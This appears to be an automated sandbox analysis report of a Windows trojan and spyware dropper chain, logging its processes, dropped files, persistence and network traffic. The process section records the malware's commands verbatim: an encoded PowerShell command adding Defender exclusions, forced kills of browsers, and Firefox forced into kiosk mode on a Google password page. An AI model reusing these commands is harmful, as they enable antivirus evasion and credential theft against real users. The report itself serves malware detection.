Source: unknown	Network traffic detected: HTTP traffic on port 63844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63781 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:63716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:63970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:64022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:64029 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 203f60e481.exe, 0000000F.00000002.2683902939.0000000000112000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_7a95dc08-a
Source: 203f60e481.exe, 0000000F.00000002.2683902939.0000000000112000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_f4f029cc-c

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

File dump: DiagTrack.exe.7.dr 298941256

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: 24da741fb6.exe.6.dr	Static PE information: section name:
Source: 24da741fb6.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 0d8313073f.exe.6.dr	Static PE information: section name:
Source: 0d8313073f.exe.6.dr	Static PE information: section name: .rsrc
Source: 0d8313073f.exe.6.dr	Static PE information: section name: .idata
Source: 0d8313073f.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name:
Source: 8a0ff7e068.exe.6.dr	Static PE information: section name: .idata

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004F7049	6_2_004F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004F8860	6_2_004F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004F78BB	6_2_004F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004F2D10	6_2_004F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004B4DE0	6_2_004B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004F31A8	6_2_004F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004E7F36	6_2_004E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004B4B30	6_2_004B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_004F779B	6_2_004F779B
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_02B2CE30	7_2_02B2CE30
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_02B28DD8	7_2_02B28DD8
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_02B28DC9	7_2_02B28DC9
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_074B8A60	7_2_074B8A60
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_074B8A70	7_2_074B8A70
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_074DEB90	7_2_074DEB90
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_074DDEE0	7_2_074DDEE0
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_074C0040	7_2_074C0040
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Code function: 7_2_074C0006	7_2_074C0006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0471B490	8_2_0471B490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0471B471	8_2_0471B471
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04711C68	8_2_04711C68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_04711CEF	8_2_04711CEF

Source: Joe Sandbox View	Dropped File: C:\ProgramData\chrome.dll 81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1144

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981586341961853
Source: file.exe	Static PE information: Section: uqbleicu ZLIB complexity 0.9948190727210782
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981586341961853
Source: skotes.exe.0.dr	Static PE information: Section: uqbleicu ZLIB complexity 0.9948190727210782
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9980591202978056
Source: 24da741fb6.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9980591202978056
Source: random[1].exe0.6.dr	Static PE information: Section: onvelaog ZLIB complexity 0.9949069817622336
Source: 0d8313073f.exe.6.dr	Static PE information: Section: onvelaog ZLIB complexity 0.9949069817622336

Source: Fwkdsz[1].exe.6.dr, Vnuzxogml.cs	Cryptographic APIs: 'CreateDecryptor'
Source: Fwkdsz.exe.6.dr, Vnuzxogml.cs	Cryptographic APIs: 'CreateDecryptor'
Source: DiagTrack.exe.7.dr, Vnuzxogml.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, p048vnIPt6o8p1FM45C.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, p048vnIPt6o8p1FM45C.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, p048vnIPt6o8p1FM45C.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.426c600.3.raw.unpack, p048vnIPt6o8p1FM45C.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, ggiSZxCKb5c75GwVhH.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, ggiSZxCKb5c75GwVhH.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, MTVxnAMz9gQcFl6SsyU.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7.2.Fwkdsz.exe.4072018.1.raw.unpack, MTVxnAMz9gQcFl6SsyU.cs	Cryptographic APIs: 'CreateDecryptor'

Source: MSBuild.exe, 00000012.00000002.2927279861.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000012.00000002.2924990669.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@69/56@31/15

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Fwkdsz[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5740:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:940:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1228:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3448:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs"

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 24da741fb6.exe, 0000000B.00000003.2528294847.00000000059A5000.00000004.00000800.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000003.2824019344.000000001DA58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT url, title, last_visit_time, typed_count FROM urls WHERE hidden = 0promiseLangPacksUpdated - waiting for language pack updates to stage.toolbar-menubar{"active":true,"fullscreen":true,"tabsintitlebar":false}resource://devtools/client/performance-new/shared/typescript-lazy-load.jsm.jschrome://browser/content/migration/migration-wizard-constants.mjsgetCanApplyUpdates - in background task mode, assuming user can't elevatehandleUpdateFailure - Failure is a write error. Setting state to pendingresource://devtools/client/performance-new/shared/typescript-lazy-load.jsm.jsTabsToolbar{"active":true,"fullscreen":false,"tabsintitlebar":false}https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsUnable to find the document or the window of the profiler toolbar item.Error while computing isPotentiallyTrustWorthy for pdf viewer page: TabsToolbar{"active":true,"fullscreen":true,"tabsintitlebar":false}PanelUI._onNotificationButtonEvent: couldn't find notification elementresource://devtools/client/performance-new/shared/background.jsm.jstoolbar-menubar{"active":true,"fullscreen":false,"tabsintitlebar":false}PanelUI._onNotificationButtonEvent(event, 'secondarybuttoncommand');https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helphttps://support.mozilla.org/kb/warning-unresponsive-script#w_other-causesTried to move an unmovable Places node, reverting to a copy operation.resource://devtools/client/performance-new/popup/menu-button.jsm.jsUpdateService:_postUpdateProcessing - Attempting handleUpdateFailureUpdateService:_postUpdateProcessing - handleUpdateFailure success.UpdateService:_registerOnlineObserver - observer already registeredUpdateManager:UpdateManager - Initialized downloadingUpdate state to UpdateManager:cleanupDownloadingUpdate - cleaning up downloading update.CheckerService:#getCanMigrate - this installation can be migratedUpdateService:_postUpdateProcessing - Cleaning up active updates.UpdateService:_postUpdateProcessing - Setting update's state from CheckerService:checkForUpdates - Making new check request for check CheckerService:#updateCheck - request completed downloading documentUpdateManager:refreshUpdateStatus - Attempting handleUpdateFailureCheckerService:stopCheck - Not actually cancelling request because UpdateService.canUsuallyCheckForUpdates - able to check for updatesDownloader: cancel - Ignoring cancel request of finished downloadDownloader:_canUseBits - Not using BITS because it was already triedUpdateService:_postUpdateProcessing - Cleaning up unexpected state.UpdateManager:refreshUpdateStatus - Staging appears to have crashed.UpdateService:_postUpdateProcessing - Setting update's errorCode
Source: 0d8313073f.exe, 0000000D.00000002.2973785580.000000001DB85000.00000004.00000020.00020000.00000000.sdmp, 0d8313073f.exe, 0000000D.00000002.2981796993.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	ReversingLabs: Detection: 52%
Source: file.exe	Virustotal: Detection: 54%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe "C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe"
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAMQAwADAAMwAzADMANAAwADAAMQBcAEYAdwBrAGQAcwB6AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADEAMAAwADMAMwAzADQAMAAwADEAXABGAHcAawBkAHMAegAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABpAGEAZwBUAHIAYQBjAGsALgBlAHgAZQA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe "C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe "C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe "C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe"
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5856 -s 1144
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {81e41cdf-9cd7-4e6b-84b6-f40482f74e4a} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253dc76dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4036 -parentBuildID 20230927232528 -prefsHandle 4400 -prefMapHandle 3816 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {67daa889-b47a-41d1-9d91-f60d147d808b} 6864 "\\.\pipe\gecko-crash-server-pipe.6864" 253ee211110 rdd
